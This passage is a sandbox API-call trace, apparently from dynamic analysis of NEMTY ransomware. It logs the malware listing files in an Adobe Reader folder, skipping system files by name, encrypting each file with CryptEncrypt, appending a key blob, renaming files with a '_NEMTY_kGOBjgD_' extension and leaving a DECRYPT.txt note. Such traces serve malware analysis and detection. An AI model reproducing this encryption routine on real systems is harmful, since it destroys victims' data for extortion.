Flags=0x0, Size=0xb0) returned 0x6340270 [0175.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.907] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.910] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c799270, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c799270, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c799270, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0175.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0175.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0175.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.911] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c799270, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c799270, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c799270, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0175.911] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.911] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2=".") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="..") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="...") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="windows") returned -1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="rsa") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="NTDETECT.COM") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="ntldr") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="MSDOS.SYS") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="IO.SYS") returned 1 [0175.911] lstrcmpiW (lpString1="Spelling.ESP", lpString2="boot.ini") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="boot.ini") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="ntuser.dat") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="desktop.ini") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="CONFIG.SYS") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="RECYCLER") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="bootmgr") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="programdata") returned 1 [0175.912] lstrcmpiW (lpString1="Spelling.ESP", lpString2="appdata") returned 1 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.912] Sleep (dwMilliseconds=0x5) [0175.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c80b690, dwHighDateTime=0x1d561e8)) [0175.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c80b690, dwHighDateTime=0x1d561e8)) [0175.919] GetLastError () returned 0x12 [0175.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.919] GetLastError () returned 0x12 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.920] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.920] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="iH+wMpXQ9MdeETD9Kn4CbaO9WkjVFj4TQ5XjeCDSEtiCaIfdWB6krK5So7t/kzuz\r\na/4RoQfzE1IUW/4OPzB8i2XDWzWZtSh1nQ4yOAvvyPXhsma8S+MbDrpm/QRPK+HX\r\nPnoQYAcGSMOyIA2zmyZW5oegMdIXdekR0KWp1SAB/z1eJCO6xV5o3PbpXvqE905v\r\nNyX9ul9d7+HwmGaoL5fsCaoCML/DbhK45XVWtScdhQ3zQVTaCDY4ZetLylSrgCfa\r\noKORCaNKTfpCha0PCwxderDVmAx+usRw8EtZXW5vzYda2WbhmI+2EDnoAZkDD2up\r\n3tjCMrPgQt4f9nh9dUfxkg==\r\n", pcchString=0x653e5dc) returned 1 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.921] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0175.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0175.921] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.921] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0175.923] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.923] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0175.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.923] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0175.923] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.924] CloseHandle (hObject=0x2e8) returned 1 [0175.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.924] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp._nemty_kgobjgd_")) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.925] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2=".") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="..") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="...") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="windows") returned -1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="rsa") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="NTDETECT.COM") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="ntldr") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="MSDOS.SYS") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="IO.SYS") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="boot.ini") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", 